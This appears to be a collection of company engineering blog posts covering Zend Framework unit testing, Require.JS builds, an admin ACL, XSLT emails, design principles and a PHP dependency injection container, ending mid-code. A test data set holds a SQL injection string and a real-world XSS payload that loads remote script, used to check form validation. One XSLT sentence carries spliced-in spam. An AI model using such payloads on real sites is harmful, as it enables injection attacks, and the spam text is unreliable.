Zend Framework Unit Testing webinar

Last Thursday the development team had the opportunity to participate in the latest webinar from Zend which focused on unit testing of Zend Framework applications. Presented by Michelangelo van Dam, co-founder of PHPBenelux a non-profit usergroup which aims to promote PHP best practices and use as a language for enterprise application development, the webinar illustrated some of the benefits of using the Zend Framework as an extension to the traditional PHPUnit test framework.

Among the benefits the one that caught our attention the most was the ability to provide sets of good vs bad data for use in testing form validation exploits. At Hautelook we are currently planning our 4th version of our API and with this version intend to fully test our controllers and top level services so testing validators is of high concern. With the ability to simply add more data to the good or bad data set we will more easily be able to accommodate any future exploits that we are not currently aware of.
Here is an example of how this might work:

public function badData()
{
return array (
array ('', '', '', ''),
array ("Robert'; DROP TABLES comments; --", '',
'http://xkcd.com/327/', 'Little Bobby Tables'),
array (str_repeat('x', 10000), '', '', ''),
array ('John doe', 'jd@example.com',
"http://t.co/@\"style=\"font-size:999999999999px;\"onmousover=
\"$.getScript('http:\u002f\u002fis.gd\u002ff19A7')\"/",
'exploit twitter 9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testFormRejectsBadData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertFalse($this->_form->isValid($data));
}

When a test fails, the system actually tells you exactly which dataset caused the problem, imagine that?

In addition to the good vs. bad data sets Michelangelo also talked about how you can use Zend_Filter_Input in much the same way that you use Zend_Form to test data that is coming into your model layer, and how you can use Zend to create mock database information. Also covered was what to do in specific cases where you can’t predict the data being tested such as in the case of auto-increment values and dates and how to test web services.

As a firm believer in the benefits of unit testing the one thing I wish is that they had more time to get into the details of testing web services and databases, however instead they spent a good deal of time in presenting you with reasons to do unit testing at all. This is unfortunate, but necessary as fully tested code is somewhat of a rarity in the industry.

Optimize and Build a Backbone.js JavaScript application with Require.JS using Packages

When a JavaScript application is too complex or large to build in a single file, grouping the application’s components into packages allows for script dependencies to download in parallel, and facilitates only loading packaged and other modular code as the site experience requires the specific set of dependencies.

Require.JS, the (JavaScript) module loading library, has an optimizer to build a JavaScript-based application and provides various options. A build profile is the recipe for your build, much like a build.xml file is used to build a project with ANT. The benefit of building with r.js not only results in speedy script loading with minified code, but also provides a way to package components of your application.

In a complex application, organizing code into packages is an attractive build strategy. The build profile in this article is based on an test application currently under development (files list below). The application framework is built with open source libraries. The main objective in this build profile is to optimize an application developed with Backbone.js using modular code, following the Asynchronous Module Definition (AMD) format. AMD and Require.JS provide the structure for writing modular code with dependencies. Backbone.js provides the code organization for developing models, views and collections and also interactions with a RESTful API.

Below is an outline of the application’s file organization, followed by the build profile to build modular (or packaged) layers a JavaScript driven application.

File organization

Assume the following directories and file organization, with app.build.js as the build profile (a sibling to both source and release directories). Note that the files in the list below named section can be any component of the application, e.g. header, login)

.-- app.build.js
|-- app-release
`-- app-src
    |-- collections
    |   |-- base.js
    |   |-- sections-segments.js
    |   `-- sections.js
    |-- docs
    |   `--docco.css
    |-- models
    |   |-- base.js
    |   |-- branding.js
    |   `-- section.js
    |-- packages
    |   |-- header
    |   |   |-- models
    |   |   |   |-- nav.js
    |   |   |   `-- link.js
    |   |   |-- templates
    |   |   |   |-- branding.js
    |   |   |   |-- nav.js
    |   |   |   `-- links.js
    |   |   `-- views
    |   |       |-- nav.js
    |   |       |-- branding.js
    |   |       `-- link.js
    |   |-- header.js
    |   `-- ... more packages here e.g. cart, checkout ...
    |-- syncs
    |   |-- rest
    |   |   `-- sections.js
    |   |-- factory.js
    |   `-- localstorage.js
    |-- test
    |   |-- fixtures
    |   |   `-- sections.json
    |   |-- header
    |   |   |-- index.html
    |   |   `-- spec.js
    |   |-- lib
    |   |   `-- Jasmine
    |   |-- models
    |   |-- utils
    |   |-- global-spec.js
    |-- utils
    |   |-- ajax.js
    |   |-- baselib.js
    |   |-- debug.js
    |   |-- localstorage.js
    |   `-- shims.js
    |-- vendor
    |-- |-- backbone-min.js
    |   |-- jquery-1.7.1.min.js
    |   |-- jquery.mobile-1.0.min.js
    |   |-- json2.js
    |   |-- modernizr-1.6.min.js
    |   |-- mustache.js
    |   |-- require.js
    |   |-- text.js
    |   `-- underscore.js
    |-- views
    |   |-- base.js
    |   `-- collection.js
    |-- application.js
    |-- collections.js
    |-- index.html
    |-- main.js
    |-- models.js
    |-- syncs.js
    |-- utils.js
    |-- vendor.js
    `-- views.js

Build profile to optimize modular dependencies with code organized in packages

The build profile can be organized to divide parallel downloads for various sections of the application.

This strategy demonstrated builds common or site-wide groups of (core) models, views, collections which are extended from a base.js constructor which extends the appropriate backbone method, e.g. Backbone.Model. The packages directory organizes code by section / responsibility, e.g. cart, checkout, etc. Notice that within the example header package the directory structure is similar to the app root directory file structure. A package (of modularized code) has dependencies from the common libraries in your application and also has specific code for the packages execution alone; other packages should not require another packages dependencies. A utils directory has shims, helpers, and common library code to support the application. A syncs directory to define persistence with your RESTful api and/or localStorage. The vendor libraries folder will not be built, there is no need to do so, you may decide to use a CDN (then set these paths to : empty:). And finally a test directory for Jasmine unit test specs, which may be ignored in the build as well if you choose.

Also notice the there are .js files named the same as the directories, these are the files listed in the paths. these are strategic to group sets of files to build, examples follow the build profile below.

({
    appDir: './app-src',
    baseUrl: './',
    dir: './app-build',
    optimize: 'uglify',
    paths: {
        // will not build 3rd party code, it's already built
        'text'         : 'vendor/text',
        'json2'        : 'vendor/json2.min',
        'modernizr'    : 'vendor/modernizr-1.6.min',
        'jquery'       : 'vendor/jquery-1.7.1',
        'jquerymobile' : 'vendor/jquery.mobile-1.0.min.js',
        'underscore'   : 'vendor/underscore',
        'mustache'     : 'vendor/mustache',
        'backbone'     : 'vendor/backbone',
        // files that define dependencies...
        // ignore vendor libraries, but need a group to do so
        'vendor'       : 'vendor',
        // application modules/packages these files define dependencies
        // and may also group modules into objects if needed to require
        // by groups rather than individual files
        'utils'        : 'utils',
        'models'       : 'models',
        'views'        : 'views',
        'collections'  : 'collections',
        // packages to build
        'header'       : 'packages/header'
        //... more packages
    },
    modules: [
        // Common libraries, Utilities, Syncs, Models, Views, Collections
        {
            name: 'utils',
            exclude: ['vendor']
        },
        {
            name: 'syncs',
            exclude: ['vendor', 'utils']
        },
        {
            name: 'models',
            exclude: ['vendor', 'utils', 'syncs']
        },
        {
            name: 'views',
            exclude: ['vendor', 'utils', 'syncs', 'models']
        },
        {
            name: 'collections',
            exclude: ['vendor', 'utils', 'syncs', 'models', 'views']
        },
        // Packages
        {
            name: 'header',
            exclude: ['vendor', 'utils', 'syncs', 'models', 'views', 'collections']
        }
        // ... and so much more ...
    ]
})

The above build profile is designed for balancing scalability and performance.

Examples of the grouped sets of code dependencies

The contents of the vendor.js which is not built into a package may use some no conflict calls as well.

// List of vendor libraries, e.g. jQuery, Underscore, Backbone, etc. <br>
// this module is used with the r.js optimizer tool during build <br>
// @see &lt;http://requirejs.org/docs/faq-optimization.html&gt;
define([ "jquery", "underscore", "backbone", "modernizr", "mustache" ], 
function ($,        _,            Backbone,   Modernizr,   Mustache) {
    // call no conflicts so if needed you can use multiple versions of $
    $.noConflict();
    _.noConflict();
    Backbone.noConflict();
});

For your application common library code.

// List of utility libraries,
define([ "utils/ajax", "utils/baselib", "utils/localstorage", "utils/debug", "utils/shims" ], 
function (ajax,         baselib,         localstorage,         debug) {
    // do nothing here, the shim only extend JavaScript when needed, e.g. Object.create
});

An example where you intend to use require the common models in another package file.

// List of models <br>
// models in this directory are intended for site-wide usage <br>
// grouping site-wide models in this module (object)
// optimizes the performance and keeps dependencies organized
// when the (build) optimizer is run.
define([ "models/branding", "models/section" ], 
function (Branding,          Section) {
    return {
        'Branding' : Branding,
        'Section'  : Section
    };
});

A quick note on code standards

Notice that in the above examples the parameters may begin with lower or upper case characters. The variable names uses in the parameters that begin with Uppercase are Constructors and the lowercase variable names are not, they may be instances created by a constructor, or perhaps an object or function that is not meant to used with new.

The convention recommended is to use Upper CamelCase for constructors and lower camelCase for others.

Common pitfall when organizing code in modules

Be careful not define circular dependencies. For example, in a common models package (models.js) dependencies are listed for the files in your models directory

define([ "models/branding", "models/section" ], function (branding, section)  
// ...  
return { "branding" : branding, "section", section }

Then when another packages requires a common model you can access the models objects returned from your common models.js file like so…

define([ "models", "utils" ], function (models, utils) {  
var branding = models.branding, debug = utils.debug;

Perhaps after using the model a few times you get into the habit of requiring “model”. Later you need add another common model with extends a model you already defined. So the pitfall begins, you add a new model inside your models directory and add a reference this same model in the model.js:

define([ "models/branding", "models/section", "models/section-b" ], function (branding, section)  
// ...  
return { "branding" : branding, "section", section, "section-b" : section-b }

However in your models/section-b.js file you define a dependency using the model.js which returns the models in an object like so…

define([ "models" ], function (models, utils) {  
var section = models.section;

Above is the mistake in models.js a dependency was added for models/section-b and in section-b a dependency is defined for model. The new models/section-b.js requires model and model.js requires models/section-b.js – a circular dependency. This should result in a load timeout error from require.js, but not tell you about the circular dependency.

For other common mistakes see the COMMON ERRORS page on the RequireJS site.

Executing the Build with r.js

If you intalled r.js with Node’s npm (package manager) like so…

> npm install requirejs

…you can execute the build on the command line:

> r.js -o app.build.js

HauteLook’s Admin ACL

In any system security is important to its growth, use, and stability. Designing a well- engineered and scalable system to be able to deny access to parts of the system is a challenge to figure out and integrate into any system as it is being built. It is even more challenging to integrate a security system into an already fully developed and well -used system like our Administration section which already has a homegrown (and very hacky) partial Access Control List (ACL).

At HauteLook we use Zend Framework as our backbone framework and Zend already has an ACL built in (http://framework.zend.com/manual/en/zend.acl.introduction.html) that can be utilized. Zend’s ACL functionality works by managing a list of Roles, a list of Resources, and a list of whatich Roles can access which Resources and with what type of permission. Zend’s ACL allows for inheritance which results in a tree like structure because both Roles and Resources can be defined by stating what Role or Resource they respectively inherit from. In Zend, if a Role is assigned no Resources it will by default have access to all Resources. This is useful because no changes need to be made to the ACL for those who should have global access to the system when a new Resource is added to the system.

To implement Zend’s ACL system, HauteLook has simply extended the Zend ACL classes and accessed all the Zend ACL functions through accessor methods. This acts akin to the Adapter Pattern by creating an interface that Zend plugs into or any other system that implements an ACL that we choose to use in the future.

With Zend’s ACL extended HauteLook is now able to create an ACL object. First the functions to add Roles and Resources are called to build the ACL structure. Roles and Resources must be added from the root level up otherwise Zend ACL will throw an error if a dependency is not found. Then the functions to assign Roles to Resources are called to finish creating the ACL object. Since the ACL object only changes when Roles or Resources are added, deleted or updated, HauteLook caches the ACL object. The cached object does not expire, and again only gets flushed when a change to the ACL object is made.

At HauteLook a Resource is a string describing the resource with each piece of the string denoting a level of access. These levels are separated by a double colon. The basic three levels in the Resource string are module, controller, and action. From there all the extra levels come from the view. A script has been installed so any time a new unique instance of module, controller, and action is found in the code base it is automatically added to the possible list of Resources an employee can have access to.

With Zend’s ACL functions extended and the ACL object created, it was easy to do action -level ACL checks. By using the pre-dispatch functionality of Zend a plugin was installed that runs every time an employee attempts to access an action. The plugin will create a resource string from the name of the module, controller, and action that is being accessed and checks the ACL object to see if the employee can access that Resource or not. If access is denied the employee is re-routed to the Admin switchboard.

While the plugin works to limit access to the actions the view is still littered with the buttons and links to call those actions. Upon trying to access one of those actions the employee is either sent to the desired page or back to the Admin switchboard. This does not make for a good user interface to say the least. Also due to the nature of the company not every employee should be able to see all the information on a page. So for both of these reasons the ACL was extended using Javascript to determine what parts of a view an employee could see and hide the parts the employee can not see. To stress this point the ACL is not meant to be a security measure on the view, but instead an aid to the user interaction experience by hiding what the employee cannot access.

To install the ACL on the view pages, “rel” attributes were added to each HTML tag that HauteLook deemed necessary, and the Resource string for it was added to the list of possible Resources employees can access. These rel tag markers are scanned by the new Javascript function that runs every time a page is loaded which makes an Ajax request that sends the list of every rel attribute on that page. The ACL is queried for each Resource to find out whether or not the employee has access to that Resource. All the Resources that the employee does not have access to are sent back to the Javascript function which then hides those values on the view. To help with the installation and maintenance of the rel tags every view file is automatically passed the base resource string for that page consisting of module, controller, and action along with the separator used between sections of the resource string. This helps the installation process because only the specific parts of the new Resource need to be typed out while all the other pieces exist in variables.

A GUI tool was developed to allow for the management of Roles and Resources along with assigning Resources to Roles and assigning Employees to Roles. Roles and Resources must be unique to the system and once created only what they inherit from can be changed. Editing or deleting Roles or Resources along with assigning Resources to Roles will cause the cache containing the ACL object to be flushed to ensure that the ACL object is rebuilt with those new changes in place. Changing the Role an employee has only updates the database and the change takes effect immediately.

So by extending the Zend ACL object, wrapping the ACL shell over the Admin section, and by using rel attributes with jQuery and Ajax, HauteLook is able to dynamically control what an employee sees ion the Admin section.

Why XSLT

XSLT, Extensible Style sheet Language for Transformations, is a powerful language that makes processing and transforming XML into other documents such as new XML, HTML and text documents possible. It provides a relatively simple, efficient and quick method to bridge communication between B2B. XSLT gives developers the ability to output different or some portions of xml rather than all and to generate in both human readable and/or machine formats.

XSLT became a recommendation of the W3C on 11/16/1999. Since then, XSLT has given the ability to imbed logic in documents without scripting, deliver information to variety of devices, even low-function devices, and provide a template system. XSLT is one of two families of standards for style sheets, the other being CSS. Examples of the logic possible with XSLT are conditional processing, looping, if statements, if else, and sorting.

Conditional Processing & Looping:

* IF statements

<xsl:if test="grade = 0">
Come to tutoring
</xsl:if>

* IF ELSE

<xsl:choose>
<xsl:when test="grades > 75">
PASSED
</xsl:when>
<xsl:otherwise>
FAILED
</xsl:otherwise>
</xsl:choose>

* LOOPING

<xsl:for-each select="class/student">
Student Name and Grade
</xsl:for-each>

* SORTING

<xsl:sort select="grades"/>

For our business demands, it has proven to be an effective transactional email template system. As our emails become more complex and richer in data, our ability to maintain quality and consistency would have proportionally escalated with the demands of a fast growing company. More resources would have to be allocated and could potentially become a managerial nightmare. With XSLT, we are able to maintain the same level of resources and even allow for multiple developers to rotate and still deliver the same professional results. We are able to support changes and updates across multiple different transactional email types and even add new emails almost effortlessly in no time.

We have found that XSLT gives cheap viagra pills us advantages over conventional programming. We’ve been able to apply and set rules for transforming XML and in a method that is easily applicable to all transactional emails.  We can dynamically change the order in which elements appear in a document, do computations, combine multiple documents, and email out thousands of emails within an hour with 100 percent consistency. XSLT has given us the flexibility, regardless of the data source, to generate the same email every time, ability to maintain structured documents, and keep our email logic separate from our website

base logic.

Design Principle – Encapsulate What Varies

Most of the Developers that I work with know that I’m big on Software Design Patterns, to the point that I’ve given presentations to the Development team on several of those patterns. But I’m also the first to admit that you shouldn’t try to force a design pattern to fit some design problem; instead, you should identify the problem you’re trying to solve, and then if you happen to be familiar with a pattern that would help, you should consider using it.

However, there is a particular design principle (not pattern, principle) that I am constantly mindful of when I’m designing and writing code. “Identify the aspects of your application that vary and separate them from what stays the same.” Now that you’ve read it, read it again: “Identify the aspects of your application that vary and separate them from what stays the same.” Think about what that means. Read it backwards. Inhale it. Make it part of you. If you want to have truly extensible code, this is one of the most absolutely important concepts that you must know and use. Throughout the rest of this post, I’ll refer to this principle in an abbreviated manner: “Encapsulate what varies”.

There’s another design principle: “A class should have only one reason to change”. Using the “Encapsulate what varies” principle helps to make the “one reason” principle a reality, because by separating things that can change into distinct classes, each class can truly have only one reason to change.

I’d like to start illustrating this principle with some code. For the sake of example, let’s say that I’m working on an Android app (which I am), and that this app needs to make some web service requests (which it does). I might write a class that looks something like this:

public class WebServices
{
    public HttpResponse getMemberData(long memberId)
    {
        HttpResponse response = null;
        String uri = _getDomain() + "/member/" +
            String.valueOf(memberId);
        HttpUriRequest httpRequest = _getHttpUriRequestGet(uri);
        HttpClient client = _getHttpClient();
        try
        {
            response = client.execute(httpRequest);
        }
        catch (ClientProtocolException e) {}
        catch (IOException e) {}
        return response;
    }
    
    public HttpResponse postMemberData(String postBody)
    {
        HttpResponse response = null;
        String uri = _getDomain() + "/member";
        HttpUriRequest httpRequest =
            _getHttpUriRequestPost(uri, postBody);
        HttpClient client = _getHttpClient();
        try
        {
            response = client.execute(httpRequest);
        }
        catch (ClientProtocolException e) {}
        catch (IOException e) {}
        return response;
    }
    
    protected HttpUriRequest _getHttpUriRequestGet(String uri)
    {
        return new HttpGet(uri);
    }
    
    protected HttpUriRequest _getHttpUriRequestPost(String uri,
        String postBody)
    {
        HttpPost httpRequest = new HttpPost(uri);
        httpRequest.setEntity(
            new ByteArrayEntity(postBody.getBytes()));
        return httpRequest;
    }
    
    protected String _getDomain()
    {
        return Config.getWebServiceDomain();
    }
    
    protected HttpClient _getHttpClient()
    {
        return new DefaultHttpClient();
    }
}

This gets the job done, but what happens when I want to add another service request? Right now, this class supports posting and getting a member, but maybe I’ll need to add a service to post a list of the member’s favorite books. And then, to go with that one, I’ll need a service to get the member’s favorite books also. And people’s opinions are always changing, so I’ll probably need a way for members to delete books from their list. Based on this, it’s clear that the “Encapsulate what varies” principle can be applied to adding new web service requests. What else can change in this scenario? If you’re familiar with REST, you’ve already identified that the request methods are different. Retrieving a member or a member’s list of books involves the GET method, creating a member or adding books to a list uses the POST method, and removing books utilizes the DELETE method.

So two things need to be encapsulated. First, the request method (GET, POST, DELETE, etc.), and then the individual service requests. To encapsulate the request method, I started by defining an interface:

public interface WebServiceInterface
{
    public RestResponse doRequest();
}

Then I created an abstract class which implements the interface’s doRequest() method. You’ll notice that this class utilizes the Template Method and Factory Method design patterns.

abstract public class WebServiceAbstract
    implements WebServiceInterface
{
    abstract protected String _getDomain();
    
    abstract protected HttpUriRequest
        _getHttpUriRequest(String uri);
    
    abstract protected String _getUri();
    
    abstract protected boolean _canMakeRequest();
    
    public RestResponse doRequest()
    {
        RestResponse restResponse = null;
        if (_canMakeRequest())
        {
            HttpUriRequest httpRequest =
                _getHttpUriRequest(_getUri());
            HttpClient client = _getHttpClient();
            try
            {
                HttpResponse response =
                    client.execute(httpRequest);
                restResponse = _getRestResponse(response);
            }
            catch (ClientProtocolException e) {}
            catch (IOException e) {}
            return restResponse;
        }
        return restResponse;
    }
    
    protected RestResponse _getRestResponse(
        HttpResponse httpResponse)
    {
        return new RestResponse(httpResponse);
    }
    
    protected HttpClient _getHttpClient()
    {
        return new DefaultHttpClient();
    }
}

Let’s walk through the doResponse() method so that you can fully understand how I’m encapsulating what varies. First, I check the _canMakeRequest() method, which allows each concrete implementation to specify whether it has whatever it needs to make the request. For example, if I want to GET a member’s data, the member’s ID may need to be set to that service object. If _canMakeRequest() returns true, the next line calls _getHttpUriRequest(), which (obviously) returns an object of type HttpUriRequest. The cool thing about this is that this is an interface type, and the concrete implementations are classes such as HttpGet, HttpPost, and HttpDelete. What this means is that subclasses of my WebServiceAbstract class can return whatever request type they need to. After the _getHttpUriRequest() method, the other lines simply deal with making the request and returning the response.

The WebServiceGetAbstract class is another abstract class which inherits from the above WebServiceAbstract class and exists for the sole purpose of implementing the _getHttpUriRequest() method (which is abstract in WebServiceAbstract) and returning an object of type HttpGet.

abstract public class WebServiceGetAbstract
    extends WebServiceAbstract
{
    protected HttpUriRequest _getHttpUriRequest(String uri)
    {
        return new HttpGet(uri);
    }
}

Similarly, the WebServicePostAbstract class returns an HttpPost object. This implementation differs from the one immediately above because it also assigns a POST body to the request object being returned.

abstract public class WebServicePostAbstract
    extends WebServiceAbstract
{
    abstract protected String _getPostBody();
    
    protected HttpUriRequest _getHttpUriRequest(String uri)
    {
        HttpPost httpRequest = new HttpPost(uri);
        httpRequest.setEntity(new ByteArrayEntity(_getPostBody().getBytes()));
        return httpRequest;
    }
}

For other HTTP methods, such as DELETE, I could write similar classes.

With this framework in place, now I can easily write classes for each particular web service request. Each of these concrete classes must simply implement the remaining abstract methods from the WebServiceAbstract class. These are _getUri(), _canMakeRequest(), and _getDomain().

In addition to implementing those abstract methods, WebServiceGetMemberr also requires a memberId value, so it implements methods to handle that. Notice that the _canMakeRequest() method, which is used in the doRequest() method of the base class, returns a Boolean value indicating whether memberId has been set.

public class WebServiceGetMember extends WebServiceGetAbstract
{
    protected long memberId;
    
    public void setMemberId(long memberId)
    {
        this.memberId = memberId;
    }
    
    public long getMemberId()
    {
        return memberId;
    }
    
    protected String _getUri()
    {
        return _getDomain() + "/member/" +
            String.valueOf(memberId);
    }
    
    protected boolean _canMakeRequest()
    {
        return (memberId > 0);
    }

    protected String _getDomain()
    {
        return Config.getUrlWebServices();
    }
}

Similarly, WebServicePostMember implements those abstract methods, and it has methods to handle the value that it requires, which is the memberJson variable. You’ll also notice that this class has a _getPostBody() method, which is used by WebServicePostAbstract to set the post body to the request object.

public class WebServicePostMember extends WebServicePostAbstract
{
    protected String memberJson;
    
    public void setMemberJson(String memberJson)
    {
        this. memberJson = memberJson;
    }
    
    public String getMemberJson()
    {
        return memberJson;
    }
    
    protected boolean _canMakeRequest()
    {
        return (memberJson!= null);
    }
    
    protected String _getPostBody()
    {
        return memberJson;
    }

    protected String _getUri()
    {
        return _getDomain() + "/member";
    }

    protected String _getDomain()
    {
        return Config.getUrlWebServices();
    }
}

If I had to re-design this framework, I might try it a different way, being mindful of another design principle “Favor composition over inheritance”. But I’m hoping that you can see how the above design does indeed follow the “encapsulate what varies” design principle. I started by writing the WebServices class, and then I quickly realized that I would have to continuously add methods as I needed new web services, so I identified this variance and encapsulated it. I urge you to do the same in your code. Doing so will help to ensure that your code is extensible.

Dependency Injection Container

Simple Dependency Injection Container with PHP

Have you ever run into a situation where you have multi-layers of code that are strongly dependent on each other and that require complete unit test cases with many different test scenarios? Or, a situation where a single instance of an object requires the injection of 20 other different objects to operate at all?

At HauteLook, we encountered this situation with our Checkout Service design, which was engineered with the combination of many awesome designs patterns such as Adapter, Mapper, Factory Method, Strategy, Builder, and Chain of Command. The service class also utilizes close to 20 different object models, such as Billing, Shipping, Coupon, Gift Card, Ledger, Taxes, Freight, Transactions, Invitation, Member, Orders and more…

Immediately after our initial engineering design discussion, we realized the complexity of unit tests the project might encounter. Of course, loosely coupled classes can be unit tested independently. But what if we wanted to create unit test scenarios that look at the end result of a complex operation? Say, calculating the total?

E-Commerce Checkout is just one of many components in our system, and it contains complex operations that depend on many other components to product a single end result. To determine the total value, we have to look at: gift card, coupon, store credit, taxes, freight, possible surcharge, promotions and subtotal. Piled on top of that, we also have to look at what the member used for billing and shipping addresses. And on top of that, we also have to consider business rules that we impose on each brand sales event.

After some research and study, we decided to build our own and create a Simple Dependency Injection (DI) Container. The idea of creating simplified container came from these websites/projects listed below. The reason behind the decision is because, at the time, there are no final approved implementations of DI container in Zend Framework. Thus, we decided to build something simple, and later on when DI Container or framework reach its maturity, we can quickly adapt to the new implementation..

http://framework.zend.com/wiki/display/ZFPROP/Zend_Container+-+Bradley+Holt

http://framework.zend.com/wiki/display/ZFPROP/Zend_Di+-+Federico+Cargnelutti

http://fabien.potencier.org/article/12/do-you-need-a-dependency-injection-container

http://www.picocontainer.org/

http://xyster.libreworks.net/

What is DI Container?

To put it simply, DI container helps you manage the creation of both simple objects and complex dependent objects. Just imagine, every time when you need a new instance of an object, anywhere in your code no matter how deep you are, instead of using “new Class()” to create a new, you ask DI Container for it. How easy is that?

What about Unit Tests?

Since DI Container helps you manage objects, it contains an optional share space (static array) to store reusable objects. If you inject the share space ahead of time with any custom object that you may already have, such as a unit test mock object, the DI Container will retrieve and use it within any participating classes. Please see example below for using DI Container for unit test.

How do you use them?

Normally, the container is very easy to use. Depending on your system architecture; you can simply inject an instance of a new container into any object and use it right away. The hard work is all encapsulated in the container itself.

Example: total summary calculation

$CheckoutService = new Checkout_Service();
$CheckoutService->setContainer(new Checkout_Container());
$checkout_data = $CheckoutService->scan();

Here is an example unit test scenario. It is very straightforward; we mock objects that are required to create the test scenario and product an expected result.

Example: simple unit test for total summary calculation

<?php

		# create mock CartItems
		$mock = $this->getMock('CartItems',array('getActiveItems','getSubtotal','calcSubtotal'));
		// will not get called since we cache the result of getActiveItems on previous test by using static variable
		$mock->expects($this->any()) 
			->method('getActiveItems')
			->will($this->returnCallback('getCartItemsSetup'));
		$mock->expects($this->any())
			->method('getSubtotal')
			->will($this->returnValue(array('subtotal'=>20.00,'items_in_cart'=>3)));
		$mock->expects($this->any())
			->method('calcSubtotal')
			->will($this->returnValue(array('subtotal'=>20.00,'items_in_cart'=>3,'overall_items'=>3)));	
		
		# create mock Freight
		$mock_freight = $this->getMock('Halo_Freight',array('getCartItemFreight'));
		# faking freight data
		$dummy_data = new Halo_Freight_FreightChargeDecorator( new Halo_Freight_StandardWeightFreight() );
		$dummy_data->total_freight = 9.95;
		$dummy_data->event_freight = array(1905=>8.95, 1857=>1.00);
		$mock_freight->expects($this->any())
			->method('getCartItemFreight')
			->will($this->returnValue($dummy_data));

	    # setup storage
   		$adapter = new Checkout_Adapter_Storage_Session();
		$mapper = new Checkout_Mapper();
		$mapper->setAdapter($adapter);
			
		# setup Checkout Container
		$container = new Checkout_Container();
		$container	->setParameter('member_id', '1111111')
					->setComponent($mock,'CartItems')
					->setComponent($mock_freight,'Halo_Freight')
					->setComponent($mapper)
					;
    	
    	# new instance of checkout service class
    	$CheckoutService = new Checkout_Service();
    	
    	# set di container
    	$CheckoutService->setContainer($container);
    	
    	# calculate order summary
    	$expected_checkout_data = $CheckoutService->scan();
    	
    	# do assertion ...
    	
?>

How about complex object creation?

In many cases, the object you need probably have dependency on other objects, for example, our Transaction class has a strong dependency on Billing class. What do you do in this case? The solution is to simply create your own method that generates what you need. Notice that DIContainer is an Abstract Class, you must extend and create your own concrete implementation. Here is an example of your Transaction object creation.

class Checkout_Container extends DependencyInjection_Container
{
		
	/**
	 * get halo transaction
	 * 
	 * @param boolean $share
	 * @param int $billing_id
	 * @param array $configs
	 * @return Halo_Transaction
	 */
	public function getHaloTransaction($share=true, $billing_id, $configs=null)
	{
		if( $share && isset(self::$shared['Halo_Transaction']))
		{
			return self::$shared['Halo_Transaction'];
		}
		
		$Billing = $this->getComponent('Billing');
		
		$tx = @ new Halo_Transaction($billing_id, $configs);
		$tx->setBilling($Billing);
			
		if($share)
		{
			return self::$shared['Halo_Transaction'] = $tx;
		}
		else
		{
			return $tx;
		}
	}
	
} // end of class

How do you use container within the layers?

Within your service layer, or components, when you need an instance on any classes, all you have to do is get it from your DIContainer.

Example:

// simple object
$Billing = $this->container->getComponent(“Billing”);

// object with parameters in constructor
$config = $this->container->getComponent('Zend_Config_Ini', array(CONFIG_PATH . 'base.ini', SITE_ENV) );

// adding persistent parameter data into container
$container = new CheckoutContainer();
$container->setParameter('member_id', $session->member_id);
$service = new CheckoutService();
$service->setContainer($container);

    // somewhere within the CheckoutService
    $BillingRecords = $container->getBillingAddresses(); // will use member_id


// adding persistent object into container
$LoginMember = <object created outside of container>;
$container = new CheckoutContainer();
$container->setComponent($LoginMember, “Member”);
$service = new CheckoutService();
$service->setContainer($container);

    // somewhere within the CheckoutService
    $Member = $container->getComponent(“Member”); // will get $LoginMember  

Where is the code?

Here is the abstract DIContainer class, you must extend it and implement your own method to create complex object (ex. Like the Transaction class above).

<?php
/**
 * Dependency Injection Container
 * 
 * @author jimmy@hautelook.com
 * @copyright 2011 HauteLook
 * 
 * Requirement:
 *  PHP5 or above with ReflectionClass
 * 
 * Design Ref:
 *  The design of this class is based on the following open source projects.
 * 
 *  http://framework.zend.com/wiki/display/ZFPROP/Zend_Container+-+Bradley+Holt
 *  http://framework.zend.com/wiki/display/ZFPROP/Zend_Di+-+Federico+Cargnelutti
 *  http://fabien.potencier.org/article/12/do-you-need-a-dependency-injection-container
 *  http://www.picocontainer.org/
 *  http://xyster.libreworks.net/
 *  
 */
abstract class DependencyInjection_Container
{	

	/**
	 * key-value pair storage for objects
	 *  key = object name (string)
	 *  value = object (mixed type)
	 * 
	 * Example:  key = "Member"  value = new Member()
	 * 
	 * @var array
	 */
	static protected $shared = array();
	
	/**
	 * key-value pair strorage for parameters
	 *  key = parameter name (string)
	 *  value = value content (mixed type)
	 * 
	 * Example:  key = "member_id"  value = 123456
	 * 
	 * @var array
	 */
	static protected $parameters = array();

	/**
	 * constructor
	 * 
	 * @param array $parameters
	 */
	public function __construct($parameters=array())
	{
		# clear when we create a new instance
		self::$shared = array();
		self::$parameters = $parameters;
	}

	/**
	 * add bulk parameters, by merging and overriding duplicate in share space
	 * 
	 * @param array $parameters
	 * @return DependencyInjection_Container $this for chaining
	 */
	public function addParameters(array $parameters)
	{
		self::$parameters = array_merge (self::$parameters, $parameters);
		return $this;
	}
	
	/**
	 * set bulk parameters, overriding entire share space
	 * 
	 * @param array $parameters
	 * @return DependencyInjection_Container $this for chaining
	 */
	public function setParameters(array $parameters)
	{
		self::$parameters = $parameters;
		return $this;
	}
	
	/**
	 * set key-value pair parameter, overriding previous in share space
	 * 
	 * @param string $name
	 * @param mixed $value
	 * @return DependencyInjection_Container $this for chaining
	 */
	public function setParameter($name, $value)
	{
		self::$parameters[$name] = $value;
		return $this;
	}
	
	/**
	 * retrieve all share parameters
	 * 
	 * @return array
	 */
	public function getParameters()
	{
		return self::$parameters;
	}
	
	/**
	 * retrieve one parameter
	 * 
	 * @param string	$name
	 * @return array
	 */
	public function getParameter($name)
	{
		return self::$parameters[$name];
	}
	
	/**
	 * 
	 * @param mixed $component
	 * @param string $name	Use for unit testing where we want to replaced the mock object's name, 
	 * 						since we are calling real objects' name in our concrete classes. Use 
	 *						for having multiple instance of same objects. Ex. BillingRow, 
	 *						CouponsRow, GiftcardsRow
	 * @return Checkout_Container $this for chaining
	 */
	public function setComponent($component, $name='')
	{
		# use the class name as the key
		if(empty($name)) {
			$name = get_class($component);
		}
		self::$shared[$name] = $component;
		return $this;
	}
	
	/**
	 * get the component from share, if not found, try to create a new instance
	 * 
	 * make sure all class are in your path.
	 * 
	 *  Example of multiple parameters in constructor:
	 *   new Zend_Config_Ini(CONFIG_PATH . 'base.ini', SITE_ENV);
	 *   $container->getComponent('Zend_Config_Ini', array(CONFIG_PATH . 'base.ini', SITE_ENV) );
	 * 
	 * @param string $name
	 * @param mixed  $parameters constructor parameters. if multiple params, use array(param1,param2,param3,....)
	 * @return mixed
	 */
	public function getComponent($name, $parameters=null)
	{
